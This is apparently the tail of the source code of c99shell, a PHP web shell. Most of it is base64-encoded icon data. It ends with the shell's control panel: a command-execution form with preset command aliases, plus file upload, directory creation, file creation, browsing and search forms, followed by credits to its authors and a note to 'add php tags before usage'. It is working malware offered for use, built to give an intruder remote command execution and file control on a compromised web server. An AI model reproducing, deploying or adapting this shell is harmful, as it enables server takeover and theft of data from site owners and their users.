2615 "AAAAACH5BAEAAAkALAAAAAAUABQAAAR+MMk5TTWI6ipyMoO3cUWRgeJoCCaLoKO0mq0ZxjNSBDWS".
2616 "krqAsLfJ7YQBl4tiRCYFSpPMdRRCoQOiL4i8CgZgk09WfWLBYZHB6UWjCequwEDHuOEVK3QtgN/j".
2617 "VwMrBDZvgF+ChHaGeYiCBQYHCH8VBJaWdAeSl5YiW5+goBIRADs=",
2618 "mode"=>
2619 "R0lGODlhHQAUALMAAAAAAP///6CgpN3d3czMzIaGhmZmZl9fX////wAAAAAAAAAAAAAAAAAAAAAA".
2620 "AAAAACH5BAEAAAgALAAAAAAdABQAAASBEMlJq70461m6/+AHZMUgnGiqniNWHHAsz3F7FUGu73xO".
2621 "2BZcwGDoEXk/Uq4ICACeQ6fzmXTlns0ddle99b7cFvYpER55Z10Xy1lKt8wpoIsACrdaqBpYEYK/".
2622 "dH1LRWiEe0pRTXBvVHwUd3o6eD6OHASXmJmamJUSY5+gnxujpBIRADs=",
2623 "refresh"=>
2624 "R0lGODlhEQAUALMAAAAAAP////Hx8erq6uPj493d3czMzLKysoaGhmZmZl9fXwQEBP///wAAAAAA".
2625 "AAAAACH5BAEAAAwALAAAAAARABQAAAR1kMlJq0Q460xR+GAoIMvkheIYlMyJBkJ8lm6YxMKi6zWY".
2626 "3AKCYbjo/Y4EQqFgKIYUh8EvuWQ6PwPFQJpULpunrXZLrYKx20G3oDA7093Esv19q5O/woFu9ZAJ".
2627 "R3lufmWCVX13h3KHfWWMjGBDkpOUTTuXmJgRADs=",
2628 "search"=>
2629 "R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzMDAwLKysoaGhnd3d2ZmZl9fX01NTSkpKQQEBP//".
2630 "/wAAACH5BAEAAA4ALAAAAAAUABQAAASn0Ml5qj0z5xr6+JZGeUZpHIqRNOIRfIYiy+a6vcOpHOap".
2631 "s5IKQccz8XgK4EGgQqWMvkrSscylhoaFVmuZLgUDAnZxEBMODSnrkhiSCZ4CGrUWMA+LLDxuSHsD".
2632 "AkN4C3sfBX10VHaBJ4QfA4eIU4pijQcFmCVoNkFlggcMRScNSUCdJyhoDasNZ5MTDVsXBwlviRmr".
2633 "Cbq7C6sIrqawrKwTv68iyA6rDhEAOw==",
2634 "setup"=>
2635 "R0lGODlhFAAUAMQAAAAAAP////j4+OPj493d3czMzMDAwLKyspaWloaGhnd3d2ZmZl9fX01NTUJC".
2636 "QhwcHP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA".
2637 "ABAALAAAAAAUABQAAAWVICSKikKWaDmuShCUbjzMwEoGhVvsfHEENRYOgegljkeg0PF4KBIFRMIB".
2638 "qCaCJ4eIGQVoIVWsTfQoXMfoUfmMZrgZ2GNDPGII7gJDLYErwG1vgW8CCQtzgHiJAnaFhyt2dwQE".
2639 "OwcMZoZ0kJKUlZeOdQKbPgedjZmhnAcJlqaIqUesmIikpEixnyJhulUMhg24aSO6YyEAOw==",
2640 "small_dir"=>
2641 "R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA".
2642 "AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp".
2643 "/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs=",
2644 "small_unk"=>
2645 "R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAIep3BE9mllic3B5iVpjdMvh/MLc+y1U".
2646 "p9Pm/GVufc7j/MzV/9Xm/EOm99bn/Njp/a7Q+tTm/LHS+eXw/t3r/Nnp/djo/Nrq/fj7/9vq/Nfo".
2647 "/Mbe+8rh/Mng+7jW+rvY+r7Z+7XR9dDk/NHk/NLl/LTU+rnX+8zi/LbV++fx/e72/vH3/vL4/u31".
2648 "/e31/uDu/d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661 "uSrQEQwkGjYkQCTAy6AlUMhWklQBw4MEhgSA6XPgRxS5ii40KLFgi4BGTEKAsCKXihESCzrsgSQC".
2662 "yIkUV+SqOYLCA4csAup86OGDkNw4BpQ4OaBFgB0TEyIUKqDwTRs4a9yMCSOmDBoyZu4sJKCgwIDj".
2663 "yAsokBkQADs=",
2664 "multipage"=>"R0lGODlhCgAMAJEDAP/////3mQAAAAAAACH5BAEAAAMALAAAAAAKAAwAAAIj3IR".
2665 "pJhCODnovidAovBdMzzkixlXdlI2oZpJWEsSywLzRUAAAOw==",
2666 "sort_asc"=>
2667 "R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMa".
2668 "SLrcPcE9GKUaQlQ5sN5PloFLJ35OoK6q5SYAOw==",
2669 "sort_desc"=>
2670 "R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMb".
2671 "SLrcOjBCB4UVITgyLt5ch2mgSJZDBi7p6hIJADs=",
2672 "sql_button_drop"=>
2673 "R0lGODlhCQALAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/".
2674 "/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
2675 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm".
2676 "AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/".
2677 "MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm".
2678 "ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM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yH5BAEAABAALAAAAAANAAwA".
2720 "AAgzAFEIHEiwoMGDCBH6W0gtoUB//1BENOiP2sKECzNeNIiqY0d/FBf+y0jR48eQGUc6JBgQADs=",
2721 "up"=>
2722 "R0lGODlhFAAUALMAAAAAAP////j4+OPj493d3czMzLKysoaGhk1NTf///wAAAAAAAAAAAAAAAAAA".
2723 "AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJq734ns1PnkcgjgXwhcNQrIVhmFonzxwQjnie27jg".
2724 "+4Qgy3XgBX4IoHDlMhRvggFiGiSwWs5XyDftWplEJ+9HQCyx2c1YEDRfwwfxtop4p53PwLKOjvvV".
2725 "IXtdgwgdPGdYfng1IVeJaTIAkpOUlZYfHxEAOw==",
2726 "write"=>
2727 "R0lGODlhFAAUALMAAAAAAP///93d3czMzLKysoaGhmZmZl9fXwQEBP///wAAAAAAAAAAAAAAAAAA".
2728 "AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJqyzFalqEQJuGEQSCnWg6FogpkHAMF4HAJsWh7/ze".
2729 "EQYQLUAsGgM0Wwt3bCJfQSFx10yyBlJn8RfEMgM9X+3qHWq5iED5yCsMCl111knDpuXfYls+IK61".
2730 "LXd+WWEHLUd/ToJFZQOOj5CRjiCBlZaXIBEAOw==",
2731 "ext_asp"=>
2732 "R0lGODdhEAAQALMAAAAAAIAAAACAAICAAAAAgIAAgACAgMDAwICAgP8AAAD/AP//AAAA//8A/wD/".
2733 "/////ywAAAAAEAAQAAAESvDISasF2N6DMNAS8Bxfl1UiOZYe9aUwgpDTq6qP/IX0Oz7AXU/1eRgI".
2734 "D6HPhzjSeLYdYabsDCWMZwhg3WWtKK4QrMHohCAS+hABADs=",
2735 "ext_mp3"=>
2736 "R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///4CAgMDAwICAAP//AAAAAAAAAANU".
2737 "aGrS7iuKQGsYIqpp6QiZRDQWYAILQQSA2g2o4QoASHGwvBbAN3GX1qXA+r1aBQHRZH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JKiYTBweJkjhQkk7AhxQ9FqgLMGBGkG8KFCg8JKAi".
2754 "RYtMAgEAOw==",
2755 "ext_cmd"=>
2756 "R0lGODlhEAAQACIAACH5BAEAAAcALAAAAAAQABAAggAAAP///4CAgMDAwAAAgICAAP//AAAAAANI".
2757 "eLrcJzDKCYe9+AogBvlg+G2dSAQAipID5XJDIM+0zNJFkdL3DBg6HmxWMEAAhVlPBhgYdrYhDQCN".
2758 "dmrYAMn1onq/YKpjvEgAADs=",
2759 "ext_cpp"=>
2760 "R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANC".
2761 "WLPc9XCASScZ8MlKicobBwRkEIkVYWqT4FICoJ5v7c6s3cqrArwinE/349FiNoFw44rtlqhOL4Ra".
2762 "Eq7YrLDE7a4SADs=",
2763 "ext_ini"=>
2764 "R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///8DAwICAgICAAP//AAAAAAAAAANL".
2765 "aArB3ioaNkK9MNbHs6lBKIoCoI1oUJ4N4DCqqYBpuM6hq8P3hwoEgU3mawELBEaPFiAUAMgYy3VM".
2766 "SnEjgPVarHEHgrB43JvszsQEADs=",
2767 "ext_diz"=>
2768 "R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAP///15phcfb6NLs/7Pc/+P0/3J+l9bs".
2769 "/52nuqjK5/n///j///7///r//0trlsPn/8nn/8nZ5trm79nu/8/q/9Xt/9zw/93w/+j1/9Hr/+Dv".
2770 "/d7v/73H0MjU39zu/9br/8ne8tXn+K6/z8Xj/LjV7dDp/6K4y8bl/5O42Oz2/7HW9Ju92u/9/8T3".
2771 "/+L//+7+/+v6/+/6/9H4/+X6/+Xl5Pz//+/t7fX08vD//+3///P///H///P7/8nq/8fp/8Tl98zr".
2772 "/+/z9vT4++n1/b/k/dny/9Hv/+v4/9/0/9fw/8/u/8vt/+/09xUvXhQtW4KTs2V1kw4oVTdYpDZX".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kAA".
2786 "Ow==",
2787 "ext_doc"=>
2788 "R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///8DAwAAA/4CAgAAAAAAAAAAAAANR".
2789 "WErcrrCQQCslQA2wOwdXkIFWNVBA+nme4AZCuolnRwkwF9QgEOPAFG21A+Z4sQHO94r1eJRTJVmq".
2790 "MIOrrPSWWZRcza6kaolBCOB0WoxRud0JADs=",
2791 "ext_exe"=>
2792 "R0lGODlhEwAOAKIAAAAAAP///wAAvcbGxoSEhP///wAAAAAAACH5BAEAAAUALAAAAAATAA4AAAM7".
2793 "WLTcTiWSQautBEQ1hP+gl21TKAQAio7S8LxaG8x0PbOcrQf4tNu9wa8WHNKKRl4sl+y9YBuAdEqt".
2794 "xhIAOw==",
2795 "ext_h"=>
2796 "R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANB".
2797 "WLPc9XCASScZ8MlKCcARRwVkEAKCIBKmNqVrq7wpbMmbbbOnrgI8F+q3w9GOQOMQGZyJOspnMkKo".
2798 "Wq/NknbbSgAAOw==",
2799 "ext_hpp"=>
2800 "R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANF".
2801 "WLPc9XCASScZ8MlKicobBwRkEAGCIAKEqaFqpbZnmk42/d43yroKmLADlPBis6LwKNAFj7jfaWVR".
2802 "UqUagnbLdZa+YFcCADs=",
2803 "ext_htaccess"=>
2804 "R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP8AAP8A/wAAgIAAgP//AAAAAAAAAAM6".
2805 "WEXW/k6RAGsjmFoYgNBbEwjDB25dGZzVCKgsR8LhSnprPQ406pafmkDwUumIvJBoRAAAlEuDEwpJ".
2806 "AAA7",
2807 "ext_html"=>
2808 "R0lGODlhEwAQALMAAAAAAP///2trnM3P/FBVhrPO9l6Itoyt0yhgk+Xy/WGp4sXl/i6Z4mfd/HNz".
2809 "c////yH5BAEAAA8ALAAAAAATABAAAAST8Ml3qq1m6nmC/4GhbFoXJEO1CANDSociGkbACHi20U3P".
2810 "KIFGIjAQODSiBWO5NAxRRmTggDgkmM7E6iipHZYKBVNQSBSikukSwW4jymcupYFgIBqL/MK8KBDk".
2811 "Bkx2BXWDfX8TDDaFDA0KBAd9fnIKHXYIBJgHBQOHcg+VCikVA5wLpYgbBKurDqysnxMOs7S1sxIR".
2812 "ADs=",
2813 "ext_jpg"=>
2814 "R0lGODlhEAAQADMAACH5BAEAAAkALAAAAAAQABAAgwAAAP///8DAwICAgICAAP8AAAD/AIAAAACA".
2815 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARccMhJk70j6K3FuFbGbULwJcUhjgHgAkUqEgJNEEAgxEci".
2816 "Ci8ALsALaXCGJK5o1AGSBsIAcABgjgCEwAMEXp0BBMLl/A6x5WZtPfQ2g6+0j8Vx+7b4/NZqgftd".
2817 "FxEAOw==",
2818 "ext_js"=>
2819 "R0lGODdhEAAQACIAACwAAAAAEAAQAIL///8AAACAgIDAwMD//wCAgAAAAAAAAAADUCi63CEgxibH".
2820 "k0AQsG200AQUJBgAoMihj5dmIxnMJxtqq1ddE0EWOhsG16m9MooAiSWEmTiuC4Tw2BB0L8FgIAhs".
2821 "a00AjYYBbc/o9HjNniUAADs=",
2822 "ext_lnk"=>
2823 "R0lGODlhEAAQAGYAACH5BAEAAFAALAAAAAAQABAAhgAAAABiAGPLMmXMM0y/JlfFLFS6K1rGLWjO".
2824 "NSmuFTWzGkC5IG3TOo/1XE7AJx2oD5X7YoTqUYrwV3/lTHTaQXnfRmDGMYXrUjKQHwAMAGfNRHzi".
2825 "Uww5CAAqADOZGkasLXLYQghIBBN3DVG2NWnPRnDWRwBOAB5wFQBBAAA+AFG3NAk5BSGHEUqwMABk".
2826 "AAAgAAAwAABfADe0GxeLCxZcDEK6IUuxKFjFLE3AJ2HHMRKiCQWCAgBmABptDg+HCBZeDAqFBWDG".
2827 "MymUFQpWBj2fJhdvDQhOBC6XF3fdR0O6IR2ODwAZAHPZQCSREgASADaXHwAAAAAAAAAAAAAAAAAA".
2828 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
2829 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
2830 "AAAAAAAAAAAAAAAAAAAAAAeZgFBQPAGFhocAgoI7Og8JCgsEBQIWPQCJgkCOkJKUP5eYUD6PkZM5".
2831 "NKCKUDMyNTg3Agg2S5eqUEpJDgcDCAxMT06hgk26vAwUFUhDtYpCuwZByBMRRMyCRwMGRkUg0xIf".
2832 "1lAeBiEAGRgXEg0t4SwroCYlDRAn4SmpKCoQJC/hqVAuNGzg8E9RKBEjYBS0JShGh4UMoYASBiUQ".
2833 "ADs=",
2834 "ext_log"=>
2835 "R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAMDAwICAgICAAAAAgAAA////AAAA".
2836 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARQEKEwK6UyBzC475gEAltJklLRAWzbClRhrK4Ly5yg7/wN".
2837 "zLUaLGBQBV2EgFLV4xEOSSWt9gQQBpRpqxoVNaPKkFb5Eh/LmUGzF5qE3+EMIgIAOw==",
2838 "ext_php"=>
2839 "R0lGODlhEAAQAAAAACH5BAEAAAEALAAAAAAQABAAgAAAAAAAAAImDA6hy5rW0HGosffsdTpqvFlg".
2840 "t0hkyZ3Q6qloZ7JimomVEb+uXAAAOw==",
2841 "ext_pl"=>
2842 "R0lGODlhFAAUAKL/AP/4/8DAwH9/AP/4AL+/vwAAAAAAAAAAACH5BAEAAAEALAAAAAAUABQAQAMo".
2843 "GLrc3gOAMYR4OOudreegRlBWSJ1lqK5s64LjWF3cQMjpJpDf6//ABAA7",
2844 "ext_swf"=>
2845 "R0lGODlhFAA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o5KTUxMCsvDKOlSRscHDweHkMd".
2860 "HUcMr7GzBufo6Ay87Lu+ii0fAfP09AvIER8ZNjc4QSUmTogYscBaAiVFkChYyBCIiwXkZD2oR3FB".
2861 "u4tLAgEAOw==",
2862 "ext_txt"=>
2863 "R0lGODlhEwAQAKIAAAAAAP///8bGxoSEhP///wAAAAAAAAAAACH5BAEAAAQALAAAAAATABAAAANJ".
2864 "SArE3lDJFka91rKpA/DgJ3JBaZ6lsCkW6qqkB4jzF8BS6544W9ZAW4+g26VWxF9wdowZmznlEup7".
2865 "UpPWG3Ig6Hq/XmRjuZwkAAA7",
2866 "ext_wri"=>
2867 "R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAICAgMDAwICAAAAAgAAA////AAAA".
2868 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARRUMhJkb0C6K2HuEiRcdsAfKExkkDgBoVxstwAAypduoao".
2869 "a4SXT0c4BF0rUhFAEAQQI9dmebREW8yXC6Nx2QI7LrYbtpJZNsxgzW6nLdq49hIBADs=",
2870 "ext_xml"=>
2871 "R0lGODlhEAAQAEQAACH5BAEAABAALAAAAAAQABAAhP///wAAAPHx8YaGhjNmmabK8AAAmQAAgACA".
2872 "gDOZADNm/zOZ/zP//8DAwDPM/wAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
2873 "AAAAAAAAAAAAAAAAAAVk4CCOpAid0ACsbNsMqNquAiA0AJzSdl8HwMBOUKghEApbESBUFQwABICx".
2874 "OAAMxebThmA4EocatgnYKhaJhxUrIBNrh7jyt/PZa+0hYc/n02V4dzZufYV/PIGJboKBQkGPkEEQ".
2875 "IQA7"
2876 );
2877  //For simple size- and speed-optimization.
2878  $imgequals = array(
2879   "ext_tar"=>array("ext_tar","ext_r00","ext_ace","ext_arj","ext_bz","ext_bz2","ext_tbz","ext_tbz2","ext_tgz","ext_uu","ext_xxe","ext_zip","ext_cab","ext_gz","ext_iso","ext_lha","ext_lzh","ext_pbk","ext_rar","ext_uuf"),
2880   "ext_php"=>array("ext_php","ext_php3","ext_php4","ext_php5","ext_phtml","ext_shtml","ext_htm"),
2881   "ext_jpg"=>array("ext_jpg","ext_gif","ext_png","ext_jpeg","ext_jfif","ext_jpe","ext_bmp","ext_ico","ext_tif","tiff"),
2882   "ext_html"=>array("ext_html","ext_htm"),
2883   "ext_avi"=>array("ext_avi","ext_mov","ext_mvi","ext_mpg","ext_mpeg","ext_wmv","ext_rm"),
2884   "ext_lnk"=>array("ext_lnk","ext_url"),
2885   "ext_ini"=>array("ext_ini","ext_css","ext_inf"),
2886   "ext_doc"=>array("ext_doc","ext_dot"),
2887   "ext_js"=>array("ext_js","ext_vbs"),
2888   "ext_cmd"=>array("ext_cmd","ext_bat","ext_pif"),
2889   "ext_wri"=>array("ext_wri","ext_rtf"),
2890   "ext_swf"=>array("ext_swf","ext_fla"),
2891   "ext_mp3"=>array("ext_mp3","ext_au","ext_midi","ext_mid"),
2892   "ext_htaccess"=>array("ext_htaccess","ext_htpasswd","ext_ht","ext_hta","ext_so")
2893  );
2894  if (!$getall)
2895  {
2896   header("Content-type: image/gif");
2897   header("Cache-control: public");
2898   header("Expires: ".date("r",mktime(0,0,0,1,1,2030)));
2899   header("Cache-control: max-age=".(60*60*24*7));
2900   header("Last-Modified: ".date("r",filemtime(__FILE__)));
2901   foreach($imgequals as $k=>$v) {if (in_array($img,$v)) {$img = $k; break;}}
2902   if (empty($images[$img])) {$img = "small_unk";}
2903   if (in_array($img,$ext_tar)) {$img = "ext_tar";}
2904   echo base64_decode($images[$img]);
2905  }
2906  else
2907  {
2908   foreach($imgequals as $a=>$b) {foreach ($b as $d) {if ($a != $d) {if (!empty($images[$d])) {echo("Warning! Remove \$images[".$d."]<br>");}}}}
2909   natsort($images);
2910   $k = array_keys($images);
2911   echo  "<center>";
2912   foreach ($k as $u) {echo $u.":<img src=\"".$surl."act=img&img=".$u."\" border=\"1\"><br>";}
2913   echo "</center>";
2914  }
2915  exit;
2916 }
2917 if ($act == "about") {echo "<center><b>Credits:<br>Idea, leading and coding by tristram[CCTeaM].<br>Beta-testing and some tips - NukLeoN [AnTiSh@Re tEaM].<br>Thanks all who report bugs.<br>All bugs send to tristram's ICQ #656555 <a href=\"http://wwp.icq.com/scripts/contact.dll?msgto=656555\"><img src=\"http://wwp.icq.com/scripts/online.dll?icq=656555&img=5\" border=0 align=absmiddle></a>.</b>";}
2918 ?>
2919 </td></tr></table><a bookmark="minipanel"><br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1>
2920 <tr><td width="100%" height="1" valign="top" colspan="2"><p align="center"><b>:: <a href="<?php echo $surl; ?>act=cmd&d=<?php echo urlencode($d); ?>"><b>Command execute</b></a> ::</b></p></td></tr>
2921 <tr><td width="50%" height="1" valign="top"><center><b>Enter: </b><form action="<?php echo $surl; ?>act=cmd" method="POST"><input type="hidden" name="act" value="cmd"><input type="hidden" name="d" value="<?php echo $dispd; ?>"><input type="text" name="cmd" size="50" value="<?php echo htmlspecialchars($cmd); ?>"><input type="hidden" name="cmd_txt" value="1">&nbsp;<input type="submit" name="submit" value="Execute"></form></td><td width="50%" height="1" valign="top"><center><b>Select: </b><form action="<?php echo $surl; ?>act=cmd" method="POST"><input type="hidden" name="act" value="cmd"><input type="hidden" name="d" value="<?php echo $dispd; ?>"><select name="cmd"><?php foreach ($cmdaliases as $als) {echo "<option value=\"".htmlspecialchars($als[1])."\">".htmlspecialchars($als[0])."</option>";} ?></select><input type="hidden" name="cmd_txt" value="1">&nbsp;<input type="submit" name="submit" value="Execute"></form></td></tr></TABLE>
2922 <br>
2923 <TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1>
2924 <tr>
2925  <td width="50%" height="1" valign="top"><center><b>:: <a href="<?php echo $surl; ?>act=search&d=<?php echo urlencode($d); ?>"><b>Search</b></a> ::</b><form method="POST"><input type="hidden" name="act" value="search"><input type="hidden" name="d" value="<?php echo $dispd; ?>"><input type="text" name="search_name" size="29" value="(.*)">&nbsp;<input type="checkbox" name="search_name_regexp" value="1"  checked> - regexp&nbsp;<input type="submit" name="submit" value="Search"></form></center></p></td>
2926  <td width="50%" height="1" valign="top"><center><b>:: <a href="<?php echo $surl; ?>act=upload&d=<?php echo $ud; ?>"><b>Upload</b></a> ::</b><form method="POST" ENCTYPE="multipart/form-data"><input type="hidden" name="act" value="upload"><input type="file" name="uploadfile"><input type="hidden" name="miniform" value="1">&nbsp;<input type=submit name=submit value="Upload"><br><?php echo $wdt; ?></form></center></td>
2927 </tr>
2928 </table>
2929 <br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="50%" height="1" valign="top"><center><b>:: Make Dir ::</b><form method="POST"><input type="hidden" name="act" value="mkdir"><input type="hidden" name="d" value="<?php echo $dispd; ?>"><input type="text" name="mkdir" size="50" value="<?php echo $dispd; ?>">&nbsp;<input type="submit" value="Create"><br><?php echo $wdt; ?></form></center></td><td width="50%" height="1" valign="top"><center><b>:: Make File ::</b><form method="POST"><input type="hidden" name="act" value="mkfile"><input type="hidden" name="d" value="<?php echo $dispd; ?>"><input type="text" name="mkfile" size="50" value="<?php echo $dispd; ?>"><input type="hidden" name="ft" value="edit">&nbsp;<input type="submit" value="Create"><br><?php echo $wdt; ?></form></center></td></tr></table>
2930 <br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="50%" height="1" valign="top"><center><b>:: Go Dir ::</b><form action="<?php echo htmlspecialchars($surl); ?>"><input type="hidden" name="act" value="ls"><input type="text" name="d" size="50" value="<?php echo $dispd; ?>">&nbsp;<input type="submit" value="Go"></form></center></td><td width="50%" height="1" valign="top"><center><b>:: Go File ::</b><form action="<?php echo htmlspecialchars($surl); ?>"><input type="hidden" name="act" value="gofile"><input type="hidden" name="d" value="<?php echo $dispd; ?>"><input type="text" name="f" size="50" value="<?php echo $dispd; ?>">&nbsp;<input type="submit" value="Go"></form></center></td></tr></table>
2931 <br><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=0 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="990" height="1" valign="top"><p align="center"><b>--[ c99shell v. <?php echo $shver; ?> <a href="<?php echo $surl; ?>act=about"><u><b>powered by</b></u></a> Captain Crunch Security Team | <a href="http://ccteam.ru"><font color="#FF0000">http://ccteam.ru</font></a><a href="http://www.c99shell.gen.tr" title"c99.txt">c99.txt</a><font color="#FF0000"></font> | Generation time: <?php echo round(getmicrotime()-starttime,4); ?> ]--</b></p></td></tr></table>
2932 </body></html><?php chdir($lastdir); exit;
2933 //add php tags before usage
2934 
2935 ?>

C99 shell (beta) screenshot

c99 shell beta screenshot